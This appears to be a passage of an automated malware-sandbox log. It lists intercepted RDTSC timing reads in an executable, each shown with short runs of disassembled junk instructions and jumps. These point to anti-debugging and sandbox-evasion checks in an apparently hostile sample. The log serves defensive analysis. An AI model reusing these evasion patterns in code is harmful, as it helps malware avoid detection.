Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5199F1 second address: 519A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007F716557DC7Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 519A07 second address: 519A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 519A0D second address: 519A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 519B33 second address: 519B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edi 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jmp 00007F716511B4A7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 519B5B second address: 519B5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 519B5F second address: 519B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F716511B49Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F716511B496h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 519DFA second address: 519DFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 519DFE second address: 519E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 519E04 second address: 519E39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F716557DC7Bh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F716557DC7Fh 0x00000015 jmp 00007F716557DC80h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 519E39 second address: 519E43 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F716511B496h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 51A12F second address: 51A137 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 51A137 second address: 51A13B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4CFF9E second address: 4CFFD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F716557DC76h 0x0000000a jnl 00007F716557DC76h 0x00000010 popad 0x00000011 je 00007F716557DC78h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F716557DC7Ch 0x0000001e push ecx 0x0000001f jmp 00007F716557DC7Ch 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 51CB4F second address: 51CB6D instructions: 0x00000000 rdtsc 0x00000002 je 00007F716511B496h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F716511B4A2h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 51CB6D second address: 51CB9A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F716557DC90h 0x00000008 ja 00007F716557DC76h 0x0000000e jmp 00007F716557DC84h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 je 00007F716557DC76h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 51FF8E second address: 51FF92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 524719 second address: 52472B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c jno 00007F716557DC76h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 52486C second address: 524870 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 524870 second address: 524876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 524876 second address: 524880 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F716511B49Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 524CD4 second address: 524CDE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 524CDE second address: 524CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 524CE2 second address: 524CE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 524CE8 second address: 524CF6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F716511B498h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 524CF6 second address: 524CFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 524E34 second address: 524E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 524E3A second address: 524E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 529E76 second address: 529E84 instructions: 0x00000000 rdtsc 0x00000002 je 00007F716511B496h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 529E84 second address: 529E92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F716557DC7Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 529E92 second address: 529E96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 52A4A5 second address: 52A4AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 52A4AA second address: 52A4CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F716511B49Ah 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F716511B4A2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 529A26 second address: 529A2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 529A2A second address: 529A36 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F716511B496h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 529A36 second address: 529A3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 529A3C second address: 529A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 52A79F second address: 52A7A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F716557DC76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 52A904 second address: 52A90C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 52AD3B second address: 52AD3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 52AD3F second address: 52AD43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 52AD43 second address: 52AD4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 52AD4E second address: 52AD6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F716511B4A5h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 52DDF6 second address: 52DE0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F716557DC80h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 52DE0D second address: 52DE18 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 52DE18 second address: 52DE1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 52DF9A second address: 52DF9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 52DF9E second address: 52DFBF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F716557DC88h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 52DFBF second address: 52DFC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5310E1 second address: 5310E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5310E7 second address: 5310EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4A5B1A second address: 4A5B5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F716557DC85h 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b push ebx 0x0000000c jno 00007F716557DC76h 0x00000012 jc 00007F716557DC76h 0x00000018 pop ebx 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pushad 0x0000001c jp 00007F716557DC78h 0x00000022 pushad 0x00000023 push esi 0x00000024 pop esi 0x00000025 pushad 0x00000026 popad 0x00000027 ja 00007F716557DC76h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4A5B5B second address: 4A5B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007F716511B496h 0x0000000c pushad 0x0000000d popad 0x0000000e jc 00007F716511B496h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jnc 00007F716511B496h 0x0000001d push edx 0x0000001e pop edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 530AB7 second address: 530ABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 530ABB second address: 530AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F716511B496h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 530AC9 second address: 530ACF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 530ACF second address: 530AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jg 00007F716511B4AAh 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jnl 00007F716511B496h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 530DF3 second address: 530DF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53788E second address: 537897 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 537897 second address: 5378AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F716557DC7Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 536168 second address: 53616C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53616C second address: 536172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 536339 second address: 53633F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53633F second address: 536343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 536343 second address: 536351 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F716511B496h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5364C6 second address: 5364D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F716557DC76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53667B second address: 536688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 536688 second address: 5366BB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F716557DC85h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 jmp 00007F716557DC7Bh 0x00000016 jl 00007F716557DC76h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5366BB second address: 5366CB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 jne 00007F716511B496h 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5366CB second address: 5366CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EE76C second address: 4EE771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53AAAE second address: 53AAB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53AAB2 second address: 53AAC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F716511B496h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53AAC4 second address: 53AACA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53AACA second address: 53AAF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jnp 00007F716511B496h 0x00000010 pop ebx 0x00000011 push eax 0x00000012 jmp 00007F716511B4A1h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53AF3C second address: 53AF4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F716557DC76h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53B09D second address: 53B0A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53B0A8 second address: 53B0B8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F716557DC76h 0x00000008 jl 00007F716557DC76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53B0B8 second address: 53B0CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F716511B4A1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53F485 second address: 53F489 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53F489 second address: 53F498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53ECEE second address: 53ECF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53ECF8 second address: 53ED01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53ED01 second address: 53ED2C instructions: 0x00000000 rdtsc 0x00000002 js 00007F716557DC7Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F716557DC89h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53ED2C second address: 53ED30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53EEB1 second address: 53EEB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53EEB5 second address: 53EECB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B49Ch 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 53EECB second address: 53EED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F716557DC76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5446E3 second address: 5446EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5446EB second address: 544766 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F716557DC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jno 00007F716557DC76h 0x00000011 jmp 00007F716557DC7Eh 0x00000016 jmp 00007F716557DC7Ah 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e pushad 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 jmp 00007F716557DC85h 0x00000027 popad 0x00000028 pushad 0x00000029 jmp 00007F716557DC80h 0x0000002e jns 00007F716557DC76h 0x00000034 popad 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 jmp 00007F716557DC89h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 544A68 second address: 544AA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B4A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F716511B4A1h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F716511B49Dh 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 544AA2 second address: 544AA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 544AA6 second address: 544AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F716511B4A1h 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 544D73 second address: 544D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5452BB second address: 5452D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B49Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jo 00007F716511B496h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 5452D9 second address: 5452E3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F716557DC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
